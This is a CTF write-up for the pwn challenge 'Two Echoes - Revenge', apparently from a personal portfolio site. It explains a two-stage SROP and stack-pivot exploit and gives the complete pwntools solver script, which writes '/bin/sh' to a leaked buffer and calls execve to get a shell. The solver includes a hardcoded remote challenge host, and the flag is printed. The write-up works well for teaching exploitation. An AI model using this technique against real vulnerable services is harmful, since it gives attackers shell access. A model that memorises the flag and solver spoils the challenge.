archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

MOJO-JOJO CTF / Pwn WRITEUP

Two Echoes - Revenge

MOJO-JOJO CTF binary-exploitation writeup.

EVENTMOJO-JOJO CTFCATEGORYPwnDIFFICULTYmediumPOINTSArchived
Two-Stage SROP + Stack Pivot

Walkthrough

Reconnaissance

Same protections as Oracle, but the key difference: no /bin/sh string exists in the binary. We need to write it ourselves.

The binary leaks the address of a writable scratch buffer (scratch_buffer[0x1000] in .data):

The void echoes louder...
Use this echo to guide your signal: 0x00000000004040c0

Exploit Strategy: Two SROP Stages

Stage 1: Pivot to writable memory

First SROP frame performs sys_read to read our second payload into the scratch buffer, pivoting RSP to scratch_buffer + 0x100:

frame1 = SigreturnFrame()
frame1.rax = 0              # sys_read
frame1.rdi = 0              # stdin
frame1.rsi = scratch_addr   # write to scratch buffer
frame1.rdx = 0x500
frame1.rip = syscall_ret
frame1.rsp = pivot_addr     # RSP = scratch + 0x100

Stage 2: Write "/bin/sh" + execve

Second payload writes "/bin/sh\x00" at scratch_addr, then pads to pivot_addr where another SROP frame calls execve:

p2 = b'/bin/sh\x00'
p2 += b'\x90' * (0x100 - len(p2))  # pad to pivot point
# ... SROP frame for execve
frame2.rdi = scratch_addr   # points to "/bin/sh"

Result

[+] Scratch Buffer Leaked @ 0x4040c0
[+] Shell verified!
$ cat flag.txt
MOJO-JOJO{st4ck_p1v0t_s1gr0p_m4st3r}

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3


from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
binary = './main'
elf = ELF(binary)

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(args.HOST or '4.233.210.175', args.PORT or 9004, *a, **kw)
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
b *listen+45
continue
'''

# Gadget addresses (will be found dynamically in script)
pop_rax = 0
syscall_ret = 0

def solve():
    global pop_rax, syscall_ret

    # 1. Find Gadgets
    # Since we built it with symbols, we can look them up,
    # but for robustness let's verify.
    try:
        pop_rax = elf.symbols['gadget_pop_rax']
        syscall_ret = elf.symbols['gadget_syscall']
    except:
        # Fallback manual scan if symbols missing
        rop = ROP(elf)
        pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
        # syscall; ret is rare in ROPgadget default search sometimes
        # let's assume challenge provides it if symbols fail
        pass

    log.info(f"pop rax; ret @ {hex(pop_rax)}")
    log.info(f"syscall; ret @ {hex(syscall_ret)}")

    io = start()

    # 2. Get Scratch Buffer Leak
    io.recvuntil(b'guide your signal: ')
    scratch_addr = int(io.recvline().strip(), 16)
    log.success(f"Scratch Buffer Leaked @ {hex(scratch_addr)}")

    io.recvuntil(b'Speak signal:\n')

    # DEBUG: Find offset with cyclic pattern
    '''
    io.send(cyclic(200))
    io.wait()
    core = io.corefile
    offset = cyclic_find(core.fault_addr)
    log.info(f"Offset found: {offset}")
    return
    '''
    # Start with common dynamic linking offset assumption (usually 40 or 72)
    offset = 40



    pivot_addr = scratch_addr + 0x100

    # Payload 1
    p1 = b'A' * offset
    p1 += p64(pop_rax)
    p1 += p64(15)           # RAX = 15 (sys_tr_sigreturn)
    p1 += p64(syscall_ret)  # syscall

    frame1 = SigreturnFrame()
    frame1.rax = 0              # sys_read
    frame1.rdi = 0              # fd = 0 (stdin)
    frame1.rsi = scratch_addr   # buf = scratch
    frame1.rdx = 0x500          # count
    frame1.rip = syscall_ret    # execute syscall
    frame1.rsp = pivot_addr     # NEW STACK POINTER

    p1 += bytes(frame1)

    io.send(p1)
    time.sleep(0.2)


    p2 = b'/bin/sh\x00'              # at scratch_addr

    # Pad until pivot_addr (0x100 bytes from start)
    # current length is 8.
    p2 += b'\x90' * (0x100 - len(p2))

    # NOW WE ARE AT `pivot_addr` (RSP points here after read returns)
    # The `ret` of the `syscall; ret` gadget will pop from here!

    # We need to set RAX=59, RDI=binsh, etc. using SIGROP
    p2 += p64(pop_rax)
    p2 += p64(15)
    p2 += p64(syscall_ret)

    frame2 = SigreturnFrame()
    frame2.rax = 59             # sys_execve
    frame2.rdi = scratch_addr   # points to "/bin/sh"
    frame2.rsi = 0
    frame2.rdx = 0
    frame2.rip = syscall_ret
    frame2.rsp = pivot_addr + 0x400 # Just somewhere writable/safe

    p2 += bytes(frame2)

    io.send(p2)
    time.sleep(0.5)

    # Check shell
    io.sendline(b'echo SHELL_ACTIVE')
    try:
        if b'SHELL_ACTIVE' in io.recv(timeout=1):
            log.success("Shell verified!")
        else:
            log.warning("Exploit sent but no echo...")
    except:
        log.warning("Exploit sent but no response.")

    io.interactive()

if __name__ == '__main__':
    solve()

Flag

MOJO-JOJO{st4ck_p1v0t_s1gr0p_m4st3r}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS